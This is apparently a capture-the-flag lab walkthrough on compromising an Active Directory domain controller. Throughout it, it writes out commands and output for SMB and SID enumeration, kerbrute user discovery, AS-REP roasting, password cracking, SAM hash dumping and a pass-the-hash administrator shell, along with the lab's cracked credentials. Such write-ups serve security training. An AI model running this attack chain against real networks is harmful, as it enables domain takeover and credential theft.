Active Directory I
In this article I use a basic methodology to breach an Active Directory, this article will be the first of a saga that will be oriented to AD walkthroughs.
Enumeration
Nmap
Ports:
- 53/tcp –> Simple DNS Plus
- 88/tcp –> kerberos-sec Microsoft Windows Kerberos
- 135/tcp –> Microsoft Windows RPC
- 139/tcp –> Microsoft Windows netbios-ssn
- 389/tcp –> Microsoft Windows Active Directory LDAP
- 445/tcp –> microsoft-ds?
- 464/tcp –> kpasswd5?
- 593/tcp –> Microsoft Windows RPC over HTTP 1.0
- 636/tcp –> tcpwrapped
- 3268/tcp –> Microsoft Windows Active Directory LDAP
Domain:
- vulnnet-rst.local
# Nmap 7.91 scan initiated Sun Aug 29 19:47:38 2021 as: nmap -Pn -p53,88,135,139,389,445,464,593,636,3268 -sC -sV -oN Scanport-1 10.10.45.157
Nmap scan report for 10.10.45.157
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-08-29 23:47:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name)
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-08-29T23:48:03
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 29 19:48:43 2021 -- 1 IP address (1 host up) scanned in 64.61 seconds
Lightweight Directory Access Protocol
LDAP it is important to always scan ldap because it could have names, surnames and addresses that are written in DTMF map format although in this specific case we will not use it, here I leave the tool (We could also scan ldap with nmap):
ldapsearch -x -h 10.10.45.157
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
SMB
At this point, when faced with an AD, the ideal would be to gather as much information as possible. (SMB)).
In this opportunity we make use of the smbclient tool but we have several alternatives such as the SMBMap and the CrackMapExec:
- -N(–no-pass) this parameter suppresses the normal password message.
- -L(–list) this parameter allows you to see which folders are available on a server.
smbclient -L //10.10.45.157 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share VulnNet-Business-Anonymous Disk VulnNet Business Sharing VulnNet-Enterprise-Anonymous Disk VulnNet Enterprise Sharing SMB1 disabled -- no workgroup available
When we see which folders are shared we proceed to download all the content they contain in search of possible users.recurse, prompt, mget:
smbclient //10.10.45.157/VulnNet-Business-Anonymous
Enter WORKGROUP\b3nj1's password:
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \Business-Manager.txt of size 758 as Business-Manager.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
getting file \Business-Sections.txt of size 654 as Business-Sections.txt (0.4 KiloBytes/sec) (average 0.3 KiloBytes/sec)
getting file \Business-Tracking.txt of size 471 as Business-Tracking.txt (0.4 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \> exit
smbclient //10.10.45.157/VulnNet-Enterprise-Anonymous
Enter WORKGROUP\b3nj1's password:
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \Enterprise-Operations.txt of size 467 as Enterprise-Operations.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
getting file \Enterprise-Safety.txt of size 503 as Enterprise-Safety.txt (0.5 KiloBytes/sec) (average 0.3 KiloBytes/sec)
getting file \Enterprise-Sync.txt of size 496 as Enterprise-Sync.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \>
Lookupsid
Another alternative to enumerate users would be through the rpc protocol which basically allows me to perform bruteforcing of Windows SIDs to identify users / groups on the remote target:
impacket-lookupsid vulnnet-rst.local/guest:@10.10.45.157
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
Password:
[] Brute forcing SIDs at 10.10.45.157
[] StringBinding ncacn_np:10.10.45.157[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1589833671-435344116-4136949213
498: VULNNET-RST\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: VULNNET-RST\Administrator (SidTypeUser)
501: VULNNET-RST\Guest (SidTypeUser)
502: VULNNET-RST\krbtgt (SidTypeUser)
512: VULNNET-RST\Domain Admins (SidTypeGroup)
513: VULNNET-RST\Domain Users (SidTypeGroup)
514: VULNNET-RST\Domain Guests (SidTypeGroup)
515: VULNNET-RST\Domain Computers (SidTypeGroup)
516: VULNNET-RST\Domain Controllers (SidTypeGroup)
517: VULNNET-RST\Cert Publishers (SidTypeAlias)
518: VULNNET-RST\Schema Admins (SidTypeGroup)
519: VULNNET-RST\Enterprise Admins (SidTypeGroup)
520: VULNNET-RST\Group Policy Creator Owners (SidTypeGroup)
521: VULNNET-RST\Read-only Domain Controllers (SidTypeGroup)
522: VULNNET-RST\Cloneable Domain Controllers (SidTypeGroup)
525: VULNNET-RST\Protected Users (SidTypeGroup)
526: VULNNET-RST\Key Admins (SidTypeGroup)
527: VULNNET-RST\Enterprise Key Admins (SidTypeGroup)
553: VULNNET-RST\RAS and IAS Servers (SidTypeAlias)
571: VULNNET-RST\Allowed RODC Password Replication Group (SidTypeAlias)
572: VULNNET-RST\Denied RODC Password Replication Group (SidTypeAlias)
1000: VULNNET-RST\WIN-2BO8M1OE1M1$ (SidTypeUser)
1101: VULNNET-RST\DnsAdmins (SidTypeAlias)
1102: VULNNET-RST\DnsUpdateProxy (SidTypeGroup)
1104: VULNNET-RST\enterprise-core-vn (SidTypeUser)
1105: VULNNET-RST\a-whitehat (SidTypeUser)
1109: VULNNET-RST\t-skid (SidTypeUser)
1110: VULNNET-RST\j-goldenhand (SidTypeUser)
1111: VULNNET-RST\j-leet (SidTypeUser)
Wordlist
We look at the contents of each file for common patterns between files:
In some files we find names, the idea would be to create a dictionary based on those names that we find to later use it.
This script allows me to make a dictionary in a fast way: Wordlist-Name
#!/bin/bash
if [[ $ == "-h" || $# != 1 ]]; then
echo "Usage: ctf-wordlist-names names-file"
exit
fi
if [ -f formatted_name_wordlist.txt ]; then
echo "[!] formatted_name_wordlist.txt file already exist."
exit 1
fi
cat $1 | while read line; do
firstname=$(echo $line | cut -d ' ' -f1 | tr '[:upper:]' '[:lower:]')
lastname=$(echo $line | cut -d ' ' -f2 | tr '[:upper:]' '[:lower:]')
echo "$firstname.$lastname
$(echo $firstname | cut -c1).$lastname
$(echo $firstname | cut -c1)-$lastname
$firstname$lastname
$firstname-$lastname
$(echo $firstname | cut -c1-3)$(echo $lastname | cut -c1-3)
$(echo $firstname | cut -c1-3).$(echo $lastname | cut -c1-3)
$(echo $firstname | cut -c1)$lastname
$lastname$firstname
$lastname-$firstname
$lastname.$firstname
$lastname$(echo $firstname | cut -c1)
$lastname-$(echo $firstname | cut -c1)
$lastname.$(echo $firstname | cut -c1)" >> formatted_name_wordlist.txt
done
We extract the names of all the files that we had extracted (Keep in mind that commonly in AD nomenclatures are used for the users):
cat users.txt
Alexa Whitehat
Jack Goldenhand
Tony Skid
Johnny Leet
We use this script to automate the part of creating the nomenclature for each user, just run the script, pass the list of users and ready this will create a list of usernames with different nomenclature that we can use for bruteforcing:
Kerbrute
We will check which users of our list are valid in the domain by means of a brute force attack using the Impacket library with the tool kerbrute.
Use:
- –dc we place the ip of the domain controller.
- -d we place the complete domain.
kerbrute userenum --dc 10.10.45.157 -d vulnnet-rst.local formatted_name_wordlist.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 08/29/21 - Ronnie Flathers @ropnop
2021/08/29 20:18:41 > Using KDC(s):
2021/08/29 20:18:41 > 10.10.45.157:88
2021/08/29 20:18:41 > [+] VALID USERNAME: j-goldenhand@vulnnet-rst.local
2021/08/29 20:18:41 > [+] VALID USERNAME: a-whitehat@vulnnet-rst.local
2021/08/29 20:18:42 > [+] VALID USERNAME: j-leet@vulnnet-rst.local
2021/08/29 20:18:42 > [+] VALID USERNAME: t-skid@vulnnet-rst.local
2021/08/29 20:18:46 > Done! Tested 56 usernames (4 valid) in 5.397 seconds
GetNPUsers
This script will attempt to enumerate and obtain TGTs for those users that have the ‘No kerberos preauthentication required’ property set. (UF_DONT_REQUIRE_PREAUTH). Impacket/GetNPUsers GetNPUsers.py
We can simply pass you the dictionary or we could do it this way, any way would be valid to meet the objective:
for u in $(cat diccionario.txt);do impacket-GetNPUsers vulnnet-rst.local/$u -request -no-pass -dc-ip 10.10.45.157; done
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for enterprise-core-vn
[-] User enterprise-core-vn doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for a-whitehat
[-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for t-skid
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:397653e349e8aa321ca54c57cac83e8b$a539de770ec1456964fee7db0661866a35ab20195270d40e4856d9d983c4cd2dc36ba21e90ddeed1866c7fd5e8357630d2c37def9dd2f220e8ac540aa1fab2c159c0a4b6ce282ac3e6cf0b16b9869ceacd9c298048db8fa5a2e1d21b674742403edf5d90934b283552b3bd45f08ef6ff66da85a61aae7736b31a3c8a9e3bd66586fef3ad83124bedb0a4b54f057de94d327f9d1c1bf40e70a4e387ff6e2eed20ace26313cdf1b3db7a11f3eacd3d48b79a703c72ef18d9d06c3b7d001237689f5b9977545f6ce20c43f3c4c88a9500b49c1cb5f80c823021f843ce67fd7a80a29be76697d48b04f726334530c0f05488145f0da0fc8e
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for j-goldenhand
[-] User j-goldenhand doesn't have UF_DONT_REQUIRE_PREAUTH set
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for j-leet
[-] User j-leet doesn't have UF_DONT_REQUIRE_PREAUTH set
John The Ripper
Using john we are going to break the hash that we previously obtained with the enumeration to kerberos, in order to see the password in clear text:
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Press 'q' or Ctrl-C to abort, almost any other key for status
tj072889* ($krb5asrep$23$t-skid@VULNNET-RST.LOCAL)
1g 0:00:00:12 DONE (2021-08-29 20:40) 0.07917g/s 251657p/s 251657c/s 251657C/s tj080790..tj071190
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Crendentials:
- t-skid
- tj072889*
CME
We have credentials the idea would be to check in which shared folder the user that we obtained has permission, this we can do it with:
crackmapexec smb 10.10.45.157 -u "t-skid" -p "tj072889*" --shares
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [*] Windows 10.0 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\t-skid:tj072889*
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [+] Enumerated shares
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 Share Permissions Remark
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 ----- ----------- ------
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 ADMIN$ Remote Admin
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 C$ Default share
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 IPC$ READ Remote IPC
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 NETLOGON READ Logon server share
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 SYSVOL READ Logon server share
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 VulnNet-Business-Anonymous READ VulnNet Business Sharing
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 VulnNet-Enterprise-Anonymous READ VulnNet Enterprise Sharing
We see that we have access to IPC, NETLOGON and SYSVOL.
Here is a module that I found interesting from cme spider_plus.
I also leave you all the available modules that CrackMapExec Module Library has.
This one basically automates me to enter to each shared resource with this user, giving a little context this would be useful if we have many resources to enumerate:
crackmapexec smb 10.10.45.157 -u "t-skid" -p "tj072889*" -M spider_plus
[-] Failed loading module at /usr/lib/python3/dist-packages/cme/modules/slinky.py: No module named 'pylnk3'
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [*] Windows 10.0 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\t-skid:tj072889*
SPIDER_P... 10.10.45.157 445 WIN-2BO8M1OE1M1 [*] Started spidering plus with option:
SPIDER_P... 10.10.45.157 445 WIN-2BO8M1OE1M1 [*] DIR: ['print$']
SPIDER_P... 10.10.45.157 445 WIN-2BO8M1OE1M1 [*] EXT: ['ico', 'lnk']
SPIDER_P... 10.10.45.157 445 WIN-2BO8M1OE1M1 [*] SIZE: 51200
SPIDER_P... 10.10.45.157 445 WIN-2BO8M1OE1M1 [*] OUTPUT: /tmp/cme_spider_plus
Here we see that in the NETLOGON shared resource there is a script, specifically a Microsoft VBScript:
We proceed to download the file to analyze it and look for useful information:
smbclient //10.10.45.157/NETLOGON -U t-skid
Enter WORKGROUP\t-skid's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Tue Mar 16 19:15:49 2021
.. D 0 Tue Mar 16 19:15:49 2021
ResetPassword.vbs A 2821 Tue Mar 16 19:18:14 2021
8771839 blocks of size 4096. 4528907 blocks available
smb: \> get ResetPassword.vbs
getting file \ResetPassword.vbs of size 2821 as ResetPassword.vbs (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
smb: \>
To give some context about this file ¿Qué es VBScript?.
After analyzing the script I find unencrypted credentials of a valid user in the domain (The user a-whitehat was one of those extracted by kerbrute):
strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"
I check if the credentials of this user that we get from the script is correct (This we can see with the + sign if it were the opposite it would give a -):
crackmapexec smb 10.10.45.157 -u "a-whitehat" -p "bNdKVkjv3RR9ht"
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [*] Windows 10.0 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
At this point we could with impacket/psexec.py) establish a shell since we have the permissions to do so (I know I have permissions by the (Pwn3d!) that tells me cme, this appears on the screen when the user is a local administrator) but the idea is to become administrator of the domain controller then for this we extract the Security Account Manager of the computer since we are local administrator:
crackmapexec smb 10.10.45.157 -u "a-whitehat" -p "bNdKVkjv3RR9ht" --sam
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [*] Windows 10.0 Build 17763 x64 (name:WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [+] Dumping SAM hashes
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ERROR:root:SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
SMB 10.10.45.157 445 WIN-2BO8M1OE1M1 [+] Added 3 SAM hashes to the database
Wmiexec
We have the SAM of the machine, the idea would be to make PassTheHash
to the administrator (This happens mostly when the domain administrator logs into a machine with his credentials), to do this we use the tool impacket wmiexec.py
Pass the Hash
impacket-wmiexec vulnnet-rst.local/administrator@10.10.45.157 -hashes aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
vulnnet-rst\administrator
Plus
Pass-the-Hash attack mitigation